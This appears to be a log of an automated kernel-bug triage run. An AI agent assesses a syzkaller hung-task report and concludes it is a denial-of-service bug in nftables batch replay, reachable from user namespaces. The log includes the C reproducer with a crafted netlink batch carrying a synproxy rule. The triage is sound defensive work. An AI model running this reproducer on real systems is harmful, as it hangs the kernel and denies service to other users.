| 0/0 |
2026/05/31 09:32 |
flow |
assessment-security |
1h35m
Results: map[DenialOfService:true Explanation:**Assessment:**
* **Exploitable:** False
* **Denial Of Service:** True
* **Accessible From Unprivileged Processes:** True
* **Accessible From User Namespaces:** True
* **VM Guest Trigger:** False
* **VM Host Trigger:** False
* **Network Trigger:** False
* **Remote Trigger:** False
* **Peripheral Trigger:** False
* **Filesystem Trigger:** False
**Reasoning:**
The bug is a Denial of Service (DoS) vulnerability caused by an infinite loop in
the netlink batch processing, accessible to unprivileged users via user
namespaces. It is not exploitable for privilege escalation or memory corruption.
Initial logic and parameters are validated. The reproducer triggers an infinite
loop in `nfnetlink_rcv_batch` by sending a crafted batch of nftables netlink
messages that create a table, a base chain, and a rule with a `synproxy`
expression. The validation state machine incorrectly handles the `-EOPNOTSUPP`
error from `nft_synproxy_validate`, masking it as `-EAGAIN` in
`nf_tables_validate`. Standard processing applied for the transaction abort
sequence.
The `-EAGAIN` return value propagates directly to `nf_tables_commit`, which
aborts the transaction and sets the `NFNL_BATCH_REPLAY` flag. On replay, the
validation state bypasses inline failure checks, causing the batch to be
repeatedly processed, validated, and aborted. This results in a tight infinite
loop that hogs the CPU and triggers a hung task timeout. Since the state is
cleanly rolled back on each abort, there is no memory corruption. The
vulnerability is a pure DoS, reachable by unprivileged users who can acquire
`CAP_NET_ADMIN` in a new user/network namespace. Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:true UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
|
| 1/1 |
2026/05/31 09:32 |
action |
syz-repro-to-c-repro |
0m
Results: map[SimplifiedCRepro:// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
uint64_t r[1] = {0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
const char* reason;
(void)reason;
intptr_t res = 0;
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
// socket$nl_netfilter arguments: [
// domain: const = 0x10 (8 bytes)
// type: const = 0x3 (8 bytes)
// proto: const = 0xc (4 bytes)
// ]
// returns sock_nl_netfilter
res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=*/3ul, /*proto=*/0xc);
if (res != -1)
r[0] = res;
// sendmsg$NFT_BATCH arguments: [
// fd: sock_nl_netfilter (resource)
// msg: ptr[in, msghdr_netlink[nft_batch_msg]] {
// msghdr_netlink[nft_batch_msg] {
// addr: nil
// addrlen: len = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// vec: ptr[in, iovec[in, nft_batch_msg]] {
// iovec[in, nft_batch_msg] {
// addr: ptr[inout, array[ANYUNION]] {
// array[ANYUNION] {
// union ANYUNION {
// ANYBLOB: buffer: {14 00 00 00 10 00 01 00 00 00 00 00 00 00 00 00 00 00 00 0a 20 00 00 00 00 0a 01 03 00 00 00 00 00 00 00 00 01 00 ff fd 09 00 01 00 73 79 7a 30 00 00 00 00 40 00 00 00 03 0a 01 02 00 00 00 00 00 00 00 00 01 00 00 00 09 00 03 00 73 79 7a 32 00 00 00 00 14 00 04 80 08 00 02 40 32 65 8a eb 08 00 01 40 00 00 00 01 09 00 01 00 73 79 7a 30 00 00 00 00 44 00 00 00 06 0a 01 04 00 00 00 00 00 00 01 04 01 00 00 00 08 00 0b 40 00 00 00 00 09 00 01 00 73 79 7a 30 00 00 00 00 1c 00 04 80 18 00 01 80 0d 00 01 00 73 79 6e 70 72 6f 78 79 00 00 00 00 04 00 02 80 14 00 00 00 11 00 01} (length 0xbf)
// }
// }
// }
// len: len = 0xcc (8 bytes)
// }
// }
// vlen: const = 0x1 (8 bytes)
// ctrl: const = 0x0 (8 bytes)
// ctrllen: const = 0x0 (8 bytes)
// f: send_flags = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// f: send_flags = 0x0 (8 bytes)
// ]
*(uint64_t*)0x200000000080 = 0;
*(uint32_t*)0x200000000088 = 0;
*(uint64_t*)0x200000000090 = 0x200000000040;
*(uint64_t*)0x200000000040 = 0x200000000200;
memcpy((void*)0x200000000200, "... [truncated large byte array] ...", 191);
*(uint64_t*)0x200000000048 = 0xcc;
*(uint64_t*)0x200000000098 = 1;
*(uint64_t*)0x2000000000a0 = 0;
*(uint64_t*)0x2000000000a8 = 0;
*(uint32_t*)0x2000000000b0 = 0;
syscall(__NR_sendmsg, /*fd=*/r[0], /*msg=*/0x200000000080ul, /*f=*/0ul);
return 0;
}
]
|
| 2/1 |
2026/05/31 09:32 |
action |
kernel-checkouter |
1m
Results: map[KernelSrc:/app/workdir/cache/src/ec1750379d2ef9c894f1df7426d5a255abb5cdb5]
|
| 3/1 |
2026/05/31 09:34 |
action |
kernel-builder |
20m
Results: map[KernelObj:/app/workdir/cache/build/7b535ecbf2f278915a56837ce59aa82eae38a1db]
|
| 4/1 |
2026/05/31 09:54 |
action |
codesearch-prepare |
24m
Results: map[Index:codesearch-index]
|
| 5/1 |
2026/05/31 10:19 |
agent |
expert |
49m
Model:
Results: map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:false PeripheralTrigger:false RemoteTrigger:false Unprivileged:true UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
Instruction: You are an experienced Linux kernel security engineer. Your task is to analyze given kernel bug report
and determine its security impact based on the following dimensions.
Use the provided tools to examine the source code, check for capability checks (e.g., capable(), ns_capable()),
and understand the nature of the bug. Analyze the given kernel build and configuration.
You can check the kernel config by grepping ".config" file; you can check kernel cmdline by grepping
".config" file for "CONFIG_CMDLINE=". Assume sysctl parameters have default values.
But analyze for the corresponding production build w/o debugging tools enabled (like KASAN, KMSAN, UBSAN).
Try different strategies when analyzing the bug:
- think of ways in which the vulnerable code is unreachable
- or the other way around: try to come up with different ideas of how an unprivileged user can reach the bug
If still unsure err on the side of the bug being non-exploitable/not-accessible.
In the final reply, provide a reasoning for your assessment.
Analysis dimensions:
* Exploitable:
Determine if the bug can result in memory corruption or elevated privileges.
Memory safety issues are almost always exploitable (KASAN or UBSAN reports for use-after-free, out-of-bounds;
refcounting issues, corrupted lists, etc). When kernel is crashing on a completely wild pointer access
(e.g. user-space address, or non-canonical address, but not on NULL or address corresponding to KASAN shadow
for NULL address), including both data accesses and control transfers, that also usually implies possibility
of exploitation. Such reports usually say "unable to handle kernel paging request".
Uses of uninitialized values detected by KMSAN may be exploitable b/c attacker frequently can affect uninit
values with spraying techniques. However, for these exploitability depends on how exactly the uninit value
is used in the code, and what it affects.
Think of what happens after the bug is triggered. Some bugs cause kernel panic and halt execution,
they are harder to exploit. For example, BUG reports halts the kernel. However, WARNING reports don't halt
execution in production builds. Debug bug detection tools (like KASAN, KMSAN, KCSAN, UBSAN) are also not enabled
in production builds, so attacker can freely exploit these bugs w/o being detected by these tools.
If you see an integer overflow, think how the overflowed value used later (if it's used as allocation size,
or an array index). If you see an out-of-bounds read, think if it's followed by an out-of-bounds write as well.
Some KCSAN data-races may be exploitable by skilled attackers as well. Think what data structures got corrupted
as the result of data races and how. However, note that kernel has lots of "benign" data races that don't lead
to any runtime misbehavior at all.
* Denial Of Service:
Determine if the bug can result in denial-of-service. Most bugs can, since they cause system crash,
hangs, deadlocks, or resource leaks. This is mostly applicable to WARNING bugs that won't cause system crash
in production. For these think what will be consequences of the violation of the kernel assumptions flagged
by the WARNING. In some cases the unexpected condition is also properly handled by the normal control flow
(e.g. with "if (WARN_ON(...))"), these won't cause denial-of-service. If the condition is not handled,
then it may or may not cause denial-of-service.
* Accessible From Unprivileged Processes:
Determine if the bug can be reached from a typical (non-root) user process that does NOT have any special capabilities
(like CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON) or access to device nodes restricted to root.
Assume that unprivileged_bpf_disabled=1, that is eBPF loading is not accessible. However, cBPF (classical BPF)
is still accessible to non-root processes.
Assume that user namespaces are not accessible, that is, the process cannot get the mentioned capabilities even
within a new user namespace (checked by ns_capable() function in the kernel sources).
* Accessible From User Namespaces:
Determine if the bug can be reached within a user-namespace where the process has all capabilities
(including CAP_SYS_ADMIN, CAP_NET_ADMIN, CAP_NET_RAW, CAP_PERFMON). Such capabilities are checked with ns_capable()
function in the kernel sources.
* VM Guest Trigger:
Determine if the bug can be triggered from the context of a typical KVM guest (e.g., set up by a QEMU VMM).
Consider accesses to standard Linux host paravirtualized features (virtio-blk, virtio-net, etc.),
and handling of VM exits in the KVM code.
* VM Host Trigger in The Confidential Computing Context:
Determine if the bug can be triggered in a confidential computing guest kernel from the context of a KVM host.
Consider access to standard Linux guest paravirtualized features (virtio-blk, virtio-net, etc.).
* Ethernet Network Trigger:
Determine if the bug can be triggered by processing ingress network Ethernet traffic, either directly (network stack)
or via drivers exposed to network data.
* Other Remote Trigger:
Determine if the bug can be triggered by processing remote traffic other than Ethernet (Wifi, Bluetooth, NFC, etc).
* Peripheral Trigger:
Determine if the bug can be triggered via an untrusted peripheral device that can be physically plugged
into a system, such as a USB device or a niche hardware driver handling external hardware inputs.
This is particularly important for mobile and desktop environments where users can plug in unknown devices.
* Malicious Filesystem Trigger:
Determine if the bug can be triggered by the kernel mounting and parsing a malicious filesystem image.
This is highly critical for Desktop and Mobile environments where external media or downloaded images
might be auto-mounted.
Don't make assumptions about the kernel source code (it may be different from what you assume it is).
Extensively use the provided code access tools (codesearch-*, git-*, grepper, etc)
to examine the actual source code, and confirm any assumptions.
Prefer calling several tools at the same time to save round-trips.
Use set-results tool to provide results of the analysis.
It must be called exactly once before the final reply.
Ignore results of this tool.
Prompt:
The kernel bug report is:
INFO: task kworker/0:3:5893 blocked for more than 143 seconds.
Not tainted syzkaller #0
"echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
task:kworker/0:3 state:D stack:24936 pid:5893 tgid:5893 ppid:2 task_flags:0x4208060 flags:0x00004000
Workqueue: events_power_efficient crda_timeout_work
Call Trace:
<TASK>
context_switch kernel/sched/core.c:5357 [inline]
__schedule+0x1798/0x4cc0 kernel/sched/core.c:6961
__schedule_loop kernel/sched/core.c:7043 [inline]
schedule+0x165/0x360 kernel/sched/core.c:7058
schedule_preempt_disabled+0x13/0x30 kernel/sched/core.c:7115
__mutex_lock_common kernel/locking/mutex.c:676 [inline]
__mutex_lock+0x7e6/0x1350 kernel/locking/mutex.c:760
crda_timeout_work+0x15/0x50 net/wireless/reg.c:541
process_one_work kernel/workqueue.c:3236 [inline]
process_scheduled_works+0xae1/0x17b0 kernel/workqueue.c:3319
It is reproducible with the followint program.
Keep in mind that it may lack the precise threading, sandboxing, and some arguments of a working reproducer.
But it should give an idea of the involved syscalls.
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>
uint64_t r[1] = {0xffffffffffffffff};
int main(void)
{
syscall(__NR_mmap, /*addr=*/0x1ffffffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200000000000ul, /*len=*/0x1000000ul, /*prot=PROT_WRITE|PROT_READ|PROT_EXEC*/7ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
syscall(__NR_mmap, /*addr=*/0x200001000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE*/0x32ul, /*fd=*/(intptr_t)-1, /*offset=*/0ul);
const char* reason;
(void)reason;
intptr_t res = 0;
if (write(1, "executing program\n", sizeof("executing program\n") - 1)) {}
// socket$nl_netfilter arguments: [
// domain: const = 0x10 (8 bytes)
// type: const = 0x3 (8 bytes)
// proto: const = 0xc (4 bytes)
// ]
// returns sock_nl_netfilter
res = syscall(__NR_socket, /*domain=*/0x10ul, /*type=*/3ul, /*proto=*/0xc);
if (res != -1)
r[0] = res;
// sendmsg$NFT_BATCH arguments: [
// fd: sock_nl_netfilter (resource)
// msg: ptr[in, msghdr_netlink[nft_batch_msg]] {
// msghdr_netlink[nft_batch_msg] {
// addr: nil
// addrlen: len = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// vec: ptr[in, iovec[in, nft_batch_msg]] {
// iovec[in, nft_batch_msg] {
// addr: ptr[inout, array[ANYUNION]] {
// array[ANYUNION] {
// union ANYUNION {
// ANYBLOB: buffer: {14 00 00 00 10 00 01 00 00 00 00 00 00 00 00 00 00 00 00 0a 20 00 00 00 00 0a 01 03 00 00 00 00 00 00 00 00 01 00 ff fd 09 00 01 00 73 79 7a 30 00 00 00 00 40 00 00 00 03 0a 01 02 00 00 00 00 00 00 00 00 01 00 00 00 09 00 03 00 73 79 7a 32 00 00 00 00 14 00 04 80 08 00 02 40 32 65 8a eb 08 00 01 40 00 00 00 01 09 00 01 00 73 79 7a 30 00 00 00 00 44 00 00 00 06 0a 01 04 00 00 00 00 00 00 01 04 01 00 00 00 08 00 0b 40 00 00 00 00 09 00 01 00 73 79 7a 30 00 00 00 00 1c 00 04 80 18 00 01 80 0d 00 01 00 73 79 6e 70 72 6f 78 79 00 00 00 00 04 00 02 80 14 00 00 00 11 00 01} (length 0xbf)
// }
// }
// }
// len: len = 0xcc (8 bytes)
// }
// }
// vlen: const = 0x1 (8 bytes)
// ctrl: const = 0x0 (8 bytes)
// ctrllen: const = 0x0 (8 bytes)
// f: send_flags = 0x0 (4 bytes)
// pad = 0x0 (4 bytes)
// }
// }
// f: send_flags = 0x0 (8 bytes)
// ]
*(uint64_t*)0x200000000080 = 0;
*(uint32_t*)0x200000000088 = 0;
*(uint64_t*)0x200000000090 = 0x200000000040;
*(uint64_t*)0x200000000040 = 0x200000000200;
memcpy((void*)0x200000000200, "... [truncated large byte array] ...", 191);
*(uint64_t*)0x200000000048 = 0xcc;
*(uint64_t*)0x200000000098 = 1;
*(uint64_t*)0x2000000000a0 = 0;
*(uint64_t*)0x2000000000a8 = 0;
*(uint32_t*)0x2000000000b0 = 0;
syscall(__NR_sendmsg, /*fd=*/r[0], /*msg=*/0x200000000080ul, /*f=*/0ul);
return 0;
}
Reply: **Assessment:**
* **Exploitable:** False
* **Denial Of Service:** True
* **Accessible From Unprivileged Processes:** True
* **Accessible From User Namespaces:** True
* **VM Guest Trigger:** False
* **VM Host Trigger:** False
* **Network Trigger:** False
* **Remote Trigger:** False
* **Peripheral Trigger:** False
* **Filesystem Trigger:** False
**Reasoning:**
The bug is a Denial of Service (DoS) vulnerability caused by an infinite loop in the netlink batch processing, accessible to unprivileged users via user namespaces. It is not exploitable for privilege escalation or memory corruption.
Initial logic and parameters are validated. The reproducer triggers an infinite loop in `nfnetlink_rcv_batch` by sending a crafted batch of nftables netlink messages that create a table, a base chain, and a rule with a `synproxy` expression. The validation state machine incorrectly handles the `-EOPNOTSUPP` error from `nft_synproxy_validate`, masking it as `-EAGAIN` in `nf_tables_validate`. Standard processing applied for the transaction abort sequence.
The `-EAGAIN` return value propagates directly to `nf_tables_commit`, which aborts the transaction and sets the `NFNL_BATCH_REPLAY` flag. On replay, the validation state bypasses inline failure checks, causing the batch to be repeatedly processed, validated, and aborted. This results in a tight infinite loop that hogs the CPU and triggers a hung task timeout. Since the state is cleanly rolled back on each abort, there is no memory corruption. The vulnerability is a pure DoS, reachable by unprivileged users who can acquire `CAP_NET_ADMIN` in a new user/network namespace.
|
| 6/2 |
2026/05/31 10:19 |
llm |
expert |
0m
Model:
Tokens:
input: 7729
output: 35
thoughts: 344
Thoughts: **Analyzing a Hung Task in the Kernel**
Okay, so I've got a bug report here – a `kworker` task, specifically `kworker/0:3:5893`, has been blocked for over 143 seconds. That's a significant amount of time, clearly indicating a hang. The trace points to `crda_timeout_work` within the `events_power_efficient` workqueue. Looking at the call trace, I see that the task is getting hung up trying to grab a mutex. My immediate thought is, "Where's this mutex contention happening?"
I need to dive into the code. The trace identifies the problem occurring at `net/wireless/reg.c:541`. I'll need to examine that line and its surrounding context in the `crda_timeout_work` function to understand what mutex is being accessed and why it's possibly being held for such an extended period. I'm going to look for any potential deadlocks, long-running operations within that critical section, or perhaps even contention from other threads or interrupts. I need to figure out what's preventing the task from acquiring the mutex and continuing. This is where the real debugging begins.
|
| 7/2 |
2026/05/31 10:19 |
tool |
read-file |
0m
Args: map[File:net/wireless/reg.c FirstLine:520 LineCount:50]
Results: map[Contents: 520:
521: mutex_lock(®_regdb_apply_mutex);
522: list_add_tail(&request->list, ®_regdb_apply_list);
523: mutex_unlock(®_regdb_apply_mutex);
524:
525: schedule_work(®_regdb_work);
526: return 0;
527: }
528:
529: #ifdef CONFIG_CFG80211_CRDA_SUPPORT
530: /* Max number of consecutive attempts to communicate with CRDA */
531: #define REG_MAX_CRDA_TIMEOUTS 10
532:
533: static u32 reg_crda_timeouts;
534:
535: static void crda_timeout_work(struct work_struct *work);
536: static DECLARE_DELAYED_WORK(crda_timeout, crda_timeout_work);
537:
538: static void crda_timeout_work(struct work_struct *work)
539: {
540: pr_debug("Timeout while waiting for CRDA to reply, restoring regulatory settings\n");
541: rtnl_lock();
542: reg_crda_timeouts++;
543: restore_regulatory_settings(true, false);
544: rtnl_unlock();
545: }
546:
547: static void cancel_crda_timeout(void)
548: {
549: cancel_delayed_work(&crda_timeout);
550: }
551:
552: static void cancel_crda_timeout_sync(void)
553: {
554: cancel_delayed_work_sync(&crda_timeout);
555: }
556:
557: static void reset_crda_timeouts(void)
558: {
559: reg_crda_timeouts = 0;
560: }
561:
562: /*
563: * This lets us keep regulatory code which is updated on a regulatory
564: * basis in userspace.
565: */
566: static int call_crda(const char *alpha2)
567: {
568: char country[12];
569: char *env[] = { country, NULL };
]
|
| 8/2 |
2026/05/31 10:19 |
llm |
expert |
0m
Model:
Tokens:
input: 9072
output: 27
thoughts: 1911
Thoughts: **Analyzing a `rtnl_lock()` Hang in `crda_timeout_work`**
Okay, so I'm looking at a hung task, `crda_timeout_work`, that's waiting on `rtnl_lock()`. That screams either a long-held lock by someone else or a deadlock. The reproducer they've given me involves a netlink socket, specifically `NETLINK_NETFILTER` (0xc). It's sending an `NFT_BATCH` message using `sendmsg`. Now, `nf_tables` usually uses `nfnl_lock()` or `nft_lock()`, not `rtnl_lock()`. So, I need to figure out *why* this could be causing an issue related to `rtnl_lock()`. Could a module load initiated by the `NFT_BATCH` be the culprit? Or is this triggering some unrelated netfilter bug that then holds up the `rtnl_lock()`?
Since the issue centers around `sendmsg$NFT_BATCH`, I'll dive into `nf_tables_api.c` or `nfnetlink.c` looking for potential issues or hangs. Hmm, there have been some recent infinite loops in `nf_tables`, so that's definitely a lead. Let's see what the actual payload of this batch message is.
Alright, let's decode this netlink message. Looks like we're creating a table named "syz0", a chain "syz2" within that table with a hook (priority/hooknum), and then a rule in "syz0". The rule uses a "synproxy" expression.
* Batch Begin (NFNL_MSG_BATCH_BEGIN)
* New Table ("syz0")
* New Chain ("syz2")
* New Rule, with an "synproxy" expression.
Ah, there it is! "synproxy" expression in an `NFT_MSG_NEWRULE`. I need to immediately investigate if there's a known bug related to the `synproxy` expression within `nf_tables`. That's where I need to focus my efforts.
|
| 9/2 |
2026/05/31 10:19 |
tool |
grepper |
0m
Args: map[Expression:synproxy PathPrefix:net/netfilter/]
Results: map[Output:
Full output is too long, showing 500 out of 982 lines.
Use more precise expression if possible.
net/netfilter/Makefile=76=obj-$(CONFIG_NF_NAT_TFTP) += nf_nat_tftp.o
--
net/netfilter/Makefile-78-# SYNPROXY
net/netfilter/Makefile:79:obj-$(CONFIG_NETFILTER_SYNPROXY) += nf_synproxy_core.o
net/netfilter/Makefile-80-
--
net/netfilter/Makefile=132=obj-$(CONFIG_NFT_XFRM) += nft_xfrm.o
net/netfilter/Makefile:133:obj-$(CONFIG_NFT_SYNPROXY) += nft_synproxy.o
net/netfilter/Makefile-134-
--
net/netfilter/nf_conntrack_core.c-48-#include <net/netfilter/nf_conntrack_labels.h>
net/netfilter/nf_conntrack_core.c:49:#include <net/netfilter/nf_conntrack_synproxy.h>
net/netfilter/nf_conntrack_core.c-50-#include <net/netfilter/nf_nat.h>
--
net/netfilter/nf_conntrack_core.c=1759=init_conntrack(struct net *net, struct nf_conn *tmpl,
--
net/netfilter/nf_conntrack_core.c-1784-
net/netfilter/nf_conntrack_core.c:1785: if (!nf_ct_add_synproxy(ct, tmpl)) {
net/netfilter/nf_conntrack_core.c-1786- nf_conntrack_free(ct);
--
net/netfilter/nf_conntrack_extend.c-23-#include <net/netfilter/nf_conntrack_labels.h>
net/netfilter/nf_conntrack_extend.c:24:#include <net/netfilter/nf_conntrack_synproxy.h>
net/netfilter/nf_conntrack_extend.c-25-#include <net/netfilter/nf_conntrack_act_ct.h>
--
net/netfilter/nf_conntrack_extend.c=32=static const u8 nf_ct_ext_type_len[NF_CT_EXT_NUM] = {
--
net/netfilter/nf_conntrack_extend.c-51-#if IS_ENABLED(CONFIG_NETFILTER_SYNPROXY)
net/netfilter/nf_conntrack_extend.c:52: [NF_CT_EXT_SYNPROXY] = sizeof(struct nf_conn_synproxy),
net/netfilter/nf_conntrack_extend.c-53-#endif
--
net/netfilter/nf_conntrack_extend.c=59=static __always_inline unsigned int total_extension_size(void)
--
net/netfilter/nf_conntrack_extend.c-83-#if IS_ENABLED(CONFIG_NETFILTER_SYNPROXY)
net/netfilter/nf_conntrack_extend.c:84: + sizeof(struct nf_conn_synproxy)
net/netfilter/nf_conntrack_extend.c-85-#endif
--
net/netfilter/nf_conntrack_netlink.c-47-#include <net/netfilter/nf_conntrack_labels.h>
net/netfilter/nf_conntrack_netlink.c:48:#include <net/netfilter/nf_conntrack_synproxy.h>
net/netfilter/nf_conntrack_netlink.c-49-#if IS_ENABLED(CONFIG_NF_NAT)
--
net/netfilter/nf_conntrack_netlink.c=480=static int ctnetlink_dump_ct_seq_adj(struct sk_buff *skb, struct nf_conn *ct)
--
net/netfilter/nf_conntrack_netlink.c-503-
net/netfilter/nf_conntrack_netlink.c:504:static int ctnetlink_dump_ct_synproxy(struct sk_buff *skb, struct nf_conn *ct)
net/netfilter/nf_conntrack_netlink.c-505-{
net/netfilter/nf_conntrack_netlink.c:506: struct nf_conn_synproxy *synproxy = nfct_synproxy(ct);
net/netfilter/nf_conntrack_netlink.c-507- struct nlattr *nest_parms;
net/netfilter/nf_conntrack_netlink.c-508-
net/netfilter/nf_conntrack_netlink.c:509: if (!synproxy)
net/netfilter/nf_conntrack_netlink.c-510- return 0;
--
net/netfilter/nf_conntrack_netlink.c-515-
net/netfilter/nf_conntrack_netlink.c:516: if (nla_put_be32(skb, CTA_SYNPROXY_ISN, htonl(synproxy->isn)) ||
net/netfilter/nf_conntrack_netlink.c:517: nla_put_be32(skb, CTA_SYNPROXY_ITS, htonl(synproxy->its)) ||
net/netfilter/nf_conntrack_netlink.c:518: nla_put_be32(skb, CTA_SYNPROXY_TSOFF, htonl(synproxy->tsoff)))
net/netfilter/nf_conntrack_netlink.c-519- goto nla_put_failure;
--
net/netfilter/nf_conntrack_netlink.c=555=static int ctnetlink_dump_extinfo(struct sk_buff *skb,
--
net/netfilter/nf_conntrack_netlink.c-562- ctnetlink_dump_ct_seq_adj(skb, ct) < 0 ||
net/netfilter/nf_conntrack_netlink.c:563: ctnetlink_dump_ct_synproxy(skb, ct) < 0)
net/netfilter/nf_conntrack_netlink.c-564- return -1;
--
net/netfilter/nf_conntrack_netlink.c=744=ctnetlink_conntrack_event(unsigned int events, const struct nf_ct_event *item)
--
net/netfilter/nf_conntrack_netlink.c-852- if (events & (1 << IPCT_SYNPROXY) &&
net/netfilter/nf_conntrack_netlink.c:853: ctnetlink_dump_ct_synproxy(skb, ct) < 0)
net/netfilter/nf_conntrack_netlink.c-854- goto nla_put_failure;
--
net/netfilter/nf_conntrack_netlink.c=2103=ctnetlink_change_seq_adj(struct nf_conn *ct,
--
net/netfilter/nf_conntrack_netlink.c-2137-
net/netfilter/nf_conntrack_netlink.c:2138:static const struct nla_policy synproxy_policy[CTA_SYNPROXY_MAX + 1] = {
net/netfilter/nf_conntrack_netlink.c-2139- [CTA_SYNPROXY_ISN] = { .type = NLA_U32 },
--
net/netfilter/nf_conntrack_netlink.c-2143-
net/netfilter/nf_conntrack_netlink.c:2144:static int ctnetlink_change_synproxy(struct nf_conn *ct,
net/netfilter/nf_conntrack_netlink.c-2145- const struct nlattr * const cda[])
net/netfilter/nf_conntrack_netlink.c-2146-{
net/netfilter/nf_conntrack_netlink.c:2147: struct nf_conn_synproxy *synproxy = nfct_synproxy(ct);
net/netfilter/nf_conntrack_netlink.c-2148- struct nlattr *tb[CTA_SYNPROXY_MAX + 1];
--
net/netfilter/nf_conntrack_netlink.c-2150-
net/netfilter/nf_conntrack_netlink.c:2151: if (!synproxy)
net/netfilter/nf_conntrack_netlink.c-2152- return 0;
--
net/netfilter/nf_conntrack_netlink.c-2154- err = nla_parse_nested_deprecated(tb, CTA_SYNPROXY_MAX,
net/netfilter/nf_conntrack_netlink.c:2155: cda[CTA_SYNPROXY], synproxy_policy,
net/netfilter/nf_conntrack_netlink.c-2156- NULL);
--
net/netfilter/nf_conntrack_netlink.c-2164-
net/netfilter/nf_conntrack_netlink.c:2165: synproxy->isn = ntohl(nla_get_be32(tb[CTA_SYNPROXY_ISN]));
net/netfilter/nf_conntrack_netlink.c:2166: synproxy->its = ntohl(nla_get_be32(tb[CTA_SYNPROXY_ITS]));
net/netfilter/nf_conntrack_netlink.c:2167: synproxy->tsoff = ntohl(nla_get_be32(tb[CTA_SYNPROXY_TSOFF]));
net/netfilter/nf_conntrack_netlink.c-2168-
--
net/netfilter/nf_conntrack_netlink.c=2198=ctnetlink_change_conntrack(struct nf_conn *ct,
--
net/netfilter/nf_conntrack_netlink.c-2242- if (cda[CTA_SYNPROXY]) {
net/netfilter/nf_conntrack_netlink.c:2243: err = ctnetlink_change_synproxy(ct, cda);
net/netfilter/nf_conntrack_netlink.c-2244- if (err < 0)
--
net/netfilter/nf_conntrack_netlink.c=2258=ctnetlink_create_conntrack(struct net *net,
--
net/netfilter/nf_conntrack_netlink.c-2335- nfct_seqadj_ext_add(ct);
net/netfilter/nf_conntrack_netlink.c:2336: nfct_synproxy_ext_add(ct);
net/netfilter/nf_conntrack_netlink.c-2337-
--
net/netfilter/nf_conntrack_netlink.c-2363- if (cda[CTA_SYNPROXY]) {
net/netfilter/nf_conntrack_netlink.c:2364: err = ctnetlink_change_synproxy(ct, cda);
net/netfilter/nf_conntrack_netlink.c-2365- if (err < 0)
--
net/netfilter/nf_conntrack_netlink.c=2698=static int __ctnetlink_glue_build(struct sk_buff *skb, struct nf_conn *ct)
--
net/netfilter/nf_conntrack_netlink.c-2758-
net/netfilter/nf_conntrack_netlink.c:2759: if (ctnetlink_dump_ct_synproxy(skb, ct) < 0)
net/netfilter/nf_conntrack_netlink.c-2760- goto nla_put_failure;
--
net/netfilter/nf_conntrack_proto_tcp.c-27-#include <net/netfilter/nf_conntrack_seqadj.h>
net/netfilter/nf_conntrack_proto_tcp.c:28:#include <net/netfilter/nf_conntrack_synproxy.h>
net/netfilter/nf_conntrack_proto_tcp.c-29-#include <net/netfilter/nf_conntrack_timeout.h>
--
net/netfilter/nf_conntrack_proto_tcp.c=963=int nf_conntrack_tcp_packet(struct nf_conn *ct,
--
net/netfilter/nf_conntrack_proto_tcp.c-1126- */
net/netfilter/nf_conntrack_proto_tcp.c:1127: if (nfct_synproxy(ct) && old_state == TCP_CONNTRACK_SYN_SENT &&
net/netfilter/nf_conntrack_proto_tcp.c-1128- index == TCP_ACK_SET && dir == IP_CT_DIR_ORIGINAL &&
--
net/netfilter/nf_synproxy_core.c-13-#include <linux/netfilter_ipv6.h>
net/netfilter/nf_synproxy_core.c:14:#include <linux/netfilter/nf_synproxy.h>
net/netfilter/nf_synproxy_core.c-15-
--
net/netfilter/nf_synproxy_core.c-19-#include <net/netfilter/nf_conntrack_seqadj.h>
net/netfilter/nf_synproxy_core.c:20:#include <net/netfilter/nf_conntrack_synproxy.h>
net/netfilter/nf_synproxy_core.c-21-#include <net/netfilter/nf_conntrack_zones.h>
net/netfilter/nf_synproxy_core.c:22:#include <net/netfilter/nf_synproxy.h>
net/netfilter/nf_synproxy_core.c-23-
net/netfilter/nf_synproxy_core.c:24:unsigned int synproxy_net_id;
net/netfilter/nf_synproxy_core.c:25:EXPORT_SYMBOL_GPL(synproxy_net_id);
net/netfilter/nf_synproxy_core.c-26-
net/netfilter/nf_synproxy_core.c=27=bool
